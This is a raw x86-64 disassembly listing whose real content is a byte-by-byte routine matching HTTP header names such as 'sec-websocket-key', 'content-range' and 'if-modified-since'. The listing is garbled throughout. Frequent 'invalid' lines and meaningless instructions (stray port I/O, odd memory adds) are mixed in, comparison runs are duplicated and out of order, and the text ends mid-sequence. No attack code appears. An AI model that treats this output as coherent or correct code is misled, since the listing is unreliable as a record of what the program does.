cmp byte [rcx + 0xd], 0x63
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4179b238], dh
mov eax, 0xe
mov al, 0x38
mov dl, 0x79
mov r8d, 0xe
jmp 0x14002ec13
inc dword [rax + 0xf750179]
test dword [rdx + 0xb], edx
or eax, dword [rax]
invalid
cmp byte [rcx + 1], 0x75
jne case.0x14002f51e.103
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 0xf620279], al
cmp byte [rcx + 2], 0x62
invalid
cmp byte [rcx + 2], 0x62
jne case.0x14002f51e.103
jns 0x140030afc
add ah, byte [rdx + 0xf]
invalid
test dword [rax + 0xb], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x6c
jne case.0x14002f51e.103
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 0xf690479], al
test dword [rbx + rcx], esi
cmp byte [rcx + 4], 0x69
jne case.0x14002f51e.103
add byte [rax], al
jns 0x140030b12
add byte [rax], al
add byte [rax + 0xf630579], al
test dword [rdx], ebp
or eax, dword [rax]
add byte [rax + 0xf2d0679], al
cmp byte [rcx + 5], 0x63
jne case.0x14002f51e.103
jns 0x140030b1d
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
test dword [rax], esp
or eax, dword [rax]
invalid
test dword [rax], esp
or eax, dword [rax]
add byte [rax + 0xf6b0779], al
test dword [rsi], edx
invalid
or eax, dword [rax]
invalid
cmp byte [rcx + 7], 0x6b
jne case.0x14002f51e.103
invalid
or eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf650879], al
test dword [rbx + rcx], ecx
add byte [rax], al
cmp byte [rcx + 8], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x79
jne case.0x14002f51e.103
jns 0x140030b51
test dword [rdx], eax
or eax, dword [rax]
add byte [rax], al
add byte [rax + 0xf2d0a79], al
test eax, edi
or al, byte [rax]
cmp byte [rcx + 0xa], 0x2d
sub eax, 0xaf8850f
add byte [rax], al
invalid
jne case.0x14002f51e.103
add byte [rax + 0xf700b79], al
test esi, ebp
or al, byte [rax]
add byte [rax + 0xf690c79], al
or al, 0x69
invalid
test esp, esp
invalid
cmp byte [rcx + 0xb], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x69
or al, 0x69
jne case.0x14002f51e.103
in al, 0xa
add byte [rax], al
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
jns 0x140030b75
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 0x34
jmp 0x140030bfa
cmp byte [rcx + 0xd], 0x6e
jns 0x140030b75
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 0x34
jmp 0x140030bfa
add byte [rax + 0xf2d0179], al
test ecx, ecx
or al, byte [rax]
add byte [rax + 0xf660279], al
jns 0x140030b85
invalid
invalid
cmp byte [rcx + 1], 0x2d
jns 0x140030b7a
sub eax, 0xac9850f
add byte [rax], al
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x66
jne case.0x14002f51e.103
or al, byte [rax]
invalid
jns 0x140030b85
add ah, byte [rsi + 0xf]
jne case.0x14002f51e.103
test dword [rdi - 0x7ffffff6], edi
jns 0x140030b90
or al, byte [rax]
add byte [rax + 0xf720379], al
cmp byte [rcx + 3], 0x72
jne case.0x14002f51e.103
jb 0x140030b9e
test dword [rbp - 0x7ffffff6], esi
mov ch, 0xa
add byte [rax], al
cmp byte [rcx + 4], 0x61
jns 0x140030b9b
add al, 0x61
invalid
jne case.0x14002f51e.103
or al, byte [rax]
add byte [rax + 0xf6d0579], al
cmp byte [rcx + 5], 0x6d
jne case.0x14002f51e.103
invalid
invalid
or al, byte [rax]
invalid
test dword [rcx - 0x7ffffff6], esp
jns 0x140030bb1
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
xchg edi, eax
or al, byte [rax]
add byte [rax + 0xf2d0779], al
test dword [rbp - 0x7ffffff6], ecx
or al, byte [rax]
invalid
invalid
jns 0x140030bc7
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rax + 0xf6f0879], al
outsd dx, dword [rsi]
invalid
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
test dword [rbx - 0x7ffffff6], eax
cmp byte [rcx + 9], 0x70
jne case.0x14002f51e.103
jns 0x140030bd2
jo case.0x14002c4db.129
test dword [rcx + 0xa], edi
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
or al, byte [rax]
invalid
or dh, byte [rdi + rcx - 0x7b]
outsd dx, dword [rsi]
or al, byte [rax]
add byte [rax + 0xf690b79], al
test dword [rbp + 0xa], esp
add byte [rax], al
cmp byte [rcx + 0xb], 0x69
jne case.0x14002f51e.103
imul ecx, dword [rdi], 0xa6585
add byte [rax + 0xf6f0c79], al
test dword [rbx + 0xa], ebx
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jns 0x140030bf3
outsd dx, dword [rsi]
jne case.0x14002f51e.103
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002f51e.103
or al, byte [rax]
invalid
test dword [rcx + 0xa], edx
or al, byte [rax]
add byte [rax + 0x4173b24f], dh
mov r10b, 0x73
mov r8d, 0xe
add byte [rax], al
mov al, 0x4f
mov r10b, 0x73
mov dl, 0x73
mov r8d, 0xe
add byte [rax], al
add cl, ch
or al, 0xe0
invalid
jmp 0x14002ec13
cmp byte [rcx + 3], 0x6e
jns case.0x14002de35.75
outsb dx, byte [rsi]
jne case.0x14002f51e.103
and al, 0xa
add byte [rax], al
or al, byte [rax]
add byte [rax + 0xf6f0479], al
test dword [rdx], ebx
or al, byte [rax]
add byte [rax + 0xf6e0579], al
test dword [rax], edx
or al, byte [rax]
add byte [rax], al
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6d
invalid
test edx, esi
or dword [rax], eax
cmp byte [rcx + 4], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
jns 0x140030c42
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6d
jne case.0x14002f51e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf610979], al
test eax, ebp
or dword [rax], eax
add byte [rax + 0xf740a79], al
test esi, ebx
or dword [rax], eax
add byte [rax + 0xf630b79], al
test esp, edx
or dword [rax], eax
add byte [rax + 0x4168b229], dh
mov eax, 0xc
cmp byte [rcx + 9], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
fimul word [rcx]
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f51e.103
mov al, 0x29
mov dl, 0x68
mov r8d, 0xc
jmp 0x14002ec13
dec dword [rdi]
mov dh, 0x51
add dword [rbx - 0x7bf09e06], eax
iretd
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
add byte [rax + 0xf6e0579], al
test dword [rdi - 0x7ffffff7], eax
add byte [rax], al
invalid
jns 0x140030ccb
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
je 0x140030cd6
test dword [rbp + 9], edi
add byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rbx + 9], esi
add byte [rax], al
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x72
jne case.0x14002f51e.103
invalid
or dword [rax], eax
invalid
imul ecx, dword [rcx], 0x79800000
or dword [rcx + 0xf], esp
test dword [rdi + 9], ebx
add byte [rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x67
jne case.0x14002f51e.103
or dword [rax], eax
add byte [rax + 0x4165b21a], dh
mov eax, 0xc
mov al, 0x1a
mov dl, 0x65
mov r8d, 0xc
jmp 0x14002ec13
inc dword [rax + 0xf650179]
test dword [rdx], esi
or dword [rax], eax
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x2d
invalid
test dword [rsi], ebx
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf770479], al
test dword [rcx + rcx], edx
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax + 0xf630979], al
test edx, esp
loop 0x140030d6d
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
or byte [rax], al
invalid
invalid
jns case.0x14002c4db.94
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
loop 0x140030d6d
add byte [rax], al
loop 0x140030d6d
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
fmul dword [rax]
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
or byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0xf6b0e79], al
test dword [rax - 0x7ffffff8], esi
mov al, 8
add byte [rax], al
invalid
jns 0x140030dab
invalid
cmp byte [rcx + 0xe], 0x6b
jne case.0x14002f51e.103
mov al, 8
add byte [rax], al
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f51e.103
or byte [rax], al
invalid
pcmpgtw mm1, qword [rdi]
test dword [rsi - 0x4ffffff8], esp
or byte [rax], al
add byte [rax + 0x4179b23d], dh
invalid
adc byte [rax], al
jne case.0x14002f51e.103
or byte [rax], al
add byte [rax + 0x4179b23d], dh
mov al, 0x3d
mov dl, 0x79
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
add byte [rax], al
jmp 0x14002ec13
fdivp st(7)
inc dword [rax + 0xf610179]
test dword [rbp - 0x7ffffff8], ecx
lea ecx, [rax]
add byte [rax], al
invalid
jns 0x140030dc1
lea ecx, [rax]
add byte [rax], al
cmp byte [rcx + 2], 0x73
jne case.0x14002f51e.103
add byte [rax], al
jae 0x140030dd0
test dword [rbx - 0x7ffffff8], eax
jns case.0x14002b679.221
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
test dword [rcx + 8], edi
add byte [rax], al
je 0x140030dda
test dword [rcx + 8], edi
jns 0x140030dd6
or byte [rax], al
add byte [rax + 0xf2d0479], al
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 4], 0x2d
jne case.0x14002f51e.103
outsd dx, dword [rsi]
or byte [rax], al
add byte [rax + 0xf6d0579], al
test dword [rbp + 8], esp
or byte gs:[rax], al
invalid
cmp byte [rcx + 5], 0x6d
jne case.0x14002f51e.103
or byte gs:[rax], al
invalid
or byte gs:[rax], al
add byte [rax + 0xf6f0679], al
invalid
cmp byte [rcx + 6], 0x6f
jne case.0x14002f51e.103
test dword [rbx + 8], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x64
jne case.0x14002f51e.103
invalid
push rcx
or byte [rax], al
add byte [rax + 0xf690879], al
cmp byte [rcx + 8], 0x69
jne case.0x14002f51e.103
test dword [rdi + 8], eax
or byte [rax], al
add byte [rax + 0xf660979], al
or dword [rsi + 0xf], esp
add byte [rax], al
cmp byte [rcx + 9], 0x66
jne case.0x14002f51e.103
or dword [rsi + 0xf], esp
test dword [0xc0030e15], edi
jns case.0x14002aeb1.90
cmp byte [rcx + 0xa], 0x69
imul ecx, dword [rdi], 0x83385
add byte [rax + 0xf650b79], al
jne case.0x14002f51e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
add byte [rax], al
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
add byte [rax], al
add byte [rax], al
jmp 0x14002ec13
test dword [rax], edx
or byte [rax], al
add byte [rax + 0xf2d0279], al
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
invalid
test esp, edi
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
jns 0x140030e49
insd dword [rdi], dx
jne case.0x14002f51e.103
cld
invalid
cmp byte [rcx + 4], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 5], 0x64
jne case.0x14002f51e.103
add byte [rax], al
jns case.0x14002fbb4.105
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax + 0xf690679], al
test esi, ebx
invalid
cmp byte [rcx + 6], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002f51e.103
test esp, edx
invalid
add byte [rax], al
invalid
test esp, edx
invalid
add byte [rax + 0xf690879], al
test edx, ecx
invalid
cmp byte [rcx + 8], 0x69
jne case.0x14002f51e.103
retf 7
invalid
retf 7
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
invalid
test eax, eax
invalid
add byte [rax + 0xf640a79], al
test dword [rsi - 0x7ffffff9], esi
add byte [rax], al
invalid
jns 0x140030ea1
cmp byte [rcx + 0xa], 0x64
jne case.0x14002f51e.103
add byte [rax], al
or ah, byte [rdi + rcx - 0x7b]
mov dh, 7
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0xb], 0x2d
sub eax, 0x7ac850f
add byte [rax], al
jne case.0x14002f51e.103
test dword [rdi + rax + 0x79800000], ebp
or al, 0x73
lodsb al, byte [rsi]
invalid
cmp byte [rcx + 0xc], 0x73
jne case.0x14002f51e.103
movabs byte [0xf690d7980000007], al
invalid
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
cwde
invalid
add byte [rax], al
jns 0x140030eb7
imul ecx, dword [rdi], 0x79885
add byte [rax + 0xf6e0e79], al
jns 0x140030ec2
outsb dx, byte [rsi]
jne case.0x14002f51e.103
invalid
test dword [rax - 0x7ffffff9], ebx
cwde
invalid
cmp byte [rcx + 0xe], 0x6e
jns 0x140030ec2
invalid
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov es, word [rdi]
add byte [rax], al
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f51e.103
jns 0x140030ecd
invalid
mov al, 0x28
mov dl, 0x65
invalid
mov r8d, 0x10
mov r8d, 0x10
add byte [rax], al
add cl, ch
jmp 0x14002ec13
invalid
jne case.0x14002f51e.103
test dword [rbx + 7], ebp
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
invalid
test dword [rcx + 7], esp
add byte [rax], al
invalid
invalid
cmp byte [rcx + 3], 0x6e
jns 0x140030eee
add ebp, dword [rsi + 0xf]
test dword [rdi + 7], edx
invalid
add byte [rax], al
outsb dx, byte [rsi]
jne case.0x14002f51e.103
push rdi
invalid
add byte [rax + 0xf730479], al
test dword [rbp + 7], ecx
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x66
jne case.0x14002f51e.103
invalid
jns 0x140030f04
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax + 0xf650679], al
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
test dword [rcx], edi
invalid
add byte [rax], al
invalid
test dword [rcx], edi
invalid
cmp dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 7], 0x72
jns 0x140030f1a
jb 0x140030f24
jne case.0x14002f51e.103
test dword [rdi], ebp
invalid
add byte [rax + 0xf2d0879], al
test dword [0xc0030f2c], esp
invalid
add byte [rax], al
invalid
jns 0x140030f30
cmp byte [rcx + 8], 0x2d
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
test dword [rbx], ebx
invalid
add byte [rax + 0xf6e0a79], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f51e.103
adc dword [rdi], eax
add byte [rax], al
or ch, byte [rsi + 0xf]
test dword [rcx], edx
invalid
adc dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f51e.103
test dword [rdi], eax
invalid
add byte [rax], al
test dword [rdi], eax
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jns 0x140030f51
outsd dx, dword [rsi]
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0xd], 0x64
jne case.0x14002f51e.103
test ebx, esi
invalid
cmp byte [rcx + 0xe], 0x69
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
jns 0x140030f67
imul ecx, dword [rdi], 0x6e985
add byte [rax + 0xf6e0f79], al
jns 0x140030f72
outsb dx, byte [rsi]
invalid
test edi, ebx
jmp 0xc0030f67
invalid
cmp byte [rcx + 0xf], 0x6e
jns 0x140030f72
outsb dx, byte [rsi]
jne case.0x14002f51e.103
invalid
mov al, 0x45
mov dl, 0x67
mov r8d, 0x10
invalid
mov r8d, 0x10
add byte [rax], al
add cl, ch
invalid
jmp 0x14002ec13
fdiv st(7), st(0)
inc dword [rax + 0xf720179]
cmp byte [rcx + 1], 0x72
invalid
test esi, eax
invalid
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002f51e.103
invalid
invalid
invalid
add byte [rax], al
test dword [rsi + rax + 0x25b00000], edi
mov al, 0x25
mov dl, 0x6d
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x14002ec13
ja 0x140030f76
fdiv st(7), st(0)
inc dword [rax + 0xf610179]
cmp byte [rcx + 1], 0x61
invalid
invalid
cmp byte [rcx + 1], 0x61
jne case.0x14002f51e.103
test dword [rbx - 0x7ffffffa], esp
add byte [rax + 0xf720279], al
cmp byte [rcx + 2], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax], al
jns 0x140030fab
jb 0x140030fba
test dword [rcx - 0x4ffffffa], ebx
mov r10b, 0x79
invalid
add byte [rax], al
mov al, 0x49
mov dl, 0x79
mov r8d, 3
mov eax, 3
jmp 0x14002ec13
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
add dword [rbp + 0xf], esp
test dword [rax - 0x7ffffffa], eax
cmp byte [rcx + 2], 0x66
jne case.0x14002f51e.103
jns 0x140030fce
jne case.0x14002f51e.103
test dword [rsi + 6], esi
add byte [rax], al
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x1400314c3
add al, 0
invalid
add al, 0
add byte [rbx - 0x7af09a06], al
cmp edx, 0x65
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
cli
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x72
add al, 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
jne case.0x14002f51e.103
invalid
mov al, 0x37
jmp 0x140031100
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf610179], al
invalid
invalid
invalid
test dword [rbx], edi
invalid
add byte [rax + 0xf720279], al
test dword [rcx], esi
cmp byte [rcx + 2], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x6e
jne case.0x14002f51e.103
add byte [rax + 0xf690479], al
test dword [0xc0031033], ebx
invalid
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x69
jne case.0x14002f51e.103
invalid
add byte [rax], al
imul ecx, dword [rdi], 0x61d85
add byte [rax + 0xf6e0579], al
jns 0x140031034
outsb dx, byte [rsi]
invalid
test dword [rbx], edx
invalid
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
invalid
add byte [rax], al
jns 0x140031034
invalid
mov al, 0x4b
mov dl, 0x67
mov r8d, 6
jmp 0x14002ec13
invalid
invalid
invalid
invalid
invalid
cmp byte [rcx + 1], 0x74
jne case.0x14002f51e.103
cli
add eax, 0x79800000
add ah, byte [rcx + 0xf]
test eax, esi
add eax, 0x21b00000
cmp byte [rcx + 2], 0x61
jne case.0x14002f51e.103
mov al, 0x21
mov dl, 0x67
mov r8d, 3
jmp 0x14002ec13
jns 0x14003106c
js 0x14003107c
jne case.0x14002f51e.103
test edi, edx
add eax, 0x79800000
add dh, byte [rax + 0xf]
add byte [rax + 0xf700279], al
cmp byte [rcx + 2], 0x70
jne case.0x14002f51e.103
test ebp, ecx
add eax, 0x79800000
add ebp, dword [rcx + 0xf]
test ebx, eax
add eax, 0x79800000
invalid
cmp byte [rcx + 4], 0x72
cmp byte [rcx + 3], 0x69
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf720479], al
test dword [rcx - 0x7ffffffb], edi
jns 0x140031098
cmp byte [rcx + 4], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
mov al, 0x23
mov dl, 0x73
mov r8d, 6
add byte [rax], al
add cl, ch
push 0xffffffffffffffdb
invalid
invalid
add byte [rax], al
add cl, ch
push 0xffffffffffffffdb
invalid
cmp byte [rcx + 1], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x73
jne case.0x14002f51e.103
mov al, 0x26
mov dl, 0x74
mov r8d, 3
jmp 0x14002ec13
jns 0x1400310d0
jb 0x1400310e0
jne case.0x14002f51e.103
test dword [rbx + 5], esi
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6c0479], al
test dword [rbp + 5], edx
add byte [rax], al
cmp byte [rcx + 4], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
invalid
add byte [rax + 0x4172b244], dh
mov eax, 6
mov al, 0x44
mov dl, 0x72
mov r8d, 6
jmp 0x14002ec13
cmp byte [rcx + 1], 0x69
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
add ch, byte [rsi + 0xf]
test dword [rax], ebp
add eax, 0x2db00000
mov al, 0x2d
mov dl, 0x6b
mov r8d, 3
jmp 0x14002ec13
cmp byte [rcx + 1], 0x78
jne case.0x14002f51e.103
test dword [rdi], ecx
invalid
add byte [rax], al
test dword [rdi], ecx
add eax, 0x79800000
add dh, byte [rax + 0xf]
test dword [0xc003114a], eax
jns 0x14003114a
cmp byte [rcx + 2], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
sti
add al, 0
add byte [rax + 0xf630479], al
test ecx, esi
add al, 0
add byte [rax + 0x4174b222], dh
mov eax, 5
cmp byte [rcx + 4], 0x63
jne case.0x14002f51e.103
mov al, 0x22
mov dl, 0x74
mov r8d, 5
add cl, ch
lodsb al, byte [rsi]
invalid
jmp 0x14002ec13
cmp byte [rcx + 4], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002f51e.103
mov al, 0x47
mov dl, 0x65
mov r8d, 6
add byte [rax], al
add byte [rax], al
jmp 0x14002ec13
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x76
jne case.0x14002f51e.103
jns 0x1400311c2
jbe 0x1400311d0
test dword [rbx - 0x7ffffffc], eax
jns 0x1400311cd
add dword [rax + rax], 0
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
add al, 0
add byte [rax + 0x4172b240], dh
mov eax, 5
mov al, 0x40
mov dl, 0x72
mov r8d, 5
jmp 0x14002ec13
cmp byte [rcx + 1], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x6b
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x69
jne case.0x14002f51e.103
mov al, 0x1e
mov dl, 0x65
mov r8d, 5
jmp 0x14002ec13
cmp byte [rcx + 1], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x67
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x69
jne case.0x14002f51e.103
mov al, 0x30
mov dl, 0x6e
mov r8d, 5
jmp 0x14002ec13
cmp byte [rcx + 1], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x67
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x6d
jne case.0x14002f51e.103
mov al, 0x31
mov dl, 0x61
mov r8d, 5
jmp 0x14002ec13
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
add eax, dword [rax]
add byte [rax + 0xf740779], al
test dword [rcx - 0x7ffffffd], ecx
jns 0x1400312cb
invalid
jns 0x1400312d6
je 0x1400312de
test dword [rbp + 3], esi
add byte [rax], al
cmp byte [rcx + 0xa], 0x75
jne case.0x14002f51e.103
or dh, byte [rbp + 0xf]
test dword [rbx + 3], ebp
add byte [rax], al
mov al, 0x12
mov dl, 0x73
mov r8d, 0xb
or eax, dword [rax]
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
fcos
invalid
inc dword [rax + 0xf630279]
test dword [rdx + 3], edx
add byte [rax], al
jmp 0x14002ec13
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf700479], al
test dword [rsi], edi
add eax, dword [rax]
add byte [rax + 0xf740579], al
test dword [rbx + rax], esi
add byte [rax], al
cmp byte [rcx + 4], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rax + 0xf720779], al
cmp byte [rcx + 7], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
invalid
test dword [rbx + rax], ecx
or al, 3
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
or al, 3
add byte [rax], al
or al, 3
add byte [rax], al
cmp byte [rcx + 0xa], 0x67
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
jns 0x140031355
jne case.0x14002f51e.103
clc
add al, byte [rax]
add byte [rax + 0x4173b204], dh
mov eax, 0xc
or al, 0
add byte [rax], al
mov al, 4
mov dl, 0x73
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp 0x14002ec13
jns 0x140031365
invalid
test edi, ebx
add al, byte [rax]
add byte [rax + 0xf680379], al
test ebp, edx
add al, byte [rax]
add byte [rax + 0xf650479], al
jns 0x14003137b
invalid
invalid
test ebx, ecx
jns 0x14003137b
jne case.0x14002f51e.103
jne case.0x14002f51e.103
add al, byte [rax]
add byte [rax + 0xf2d0579], al
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
test ecx, eax
add al, byte [rax]
add byte [rax + 0xf630679], al
test dword [rdi - 0x7ffffffe], esi
invalid
invalid
jns 0x14003139c
invalid
cmp byte [rcx + 6], 0x63
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6f0779], al
test dword [rbp - 0x7ffffffe], ebp
add al, byte [rax]
invalid
invalid
cmp byte [rcx + 7], 0x6f
invalid
outsd dx, dword [rsi]
jne case.0x14002f51e.103
add al, byte [rax]
add byte [rax + 0xf6e0879], al
test dword [rbx - 0x7ffffffe], esp
cmp byte [rcx + 8], 0x6e
jns 0x1400313a7
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002f51e.103
add al, byte [rax]
invalid
jns 0x1400313b2
je 0x1400313ba
test dword [rcx - 0x7ffffffe], ebx
jns 0x1400313bd
add al, byte [rax]
add byte [rax + 0xf720a79], al
cmp byte [rcx + 0xa], 0x72
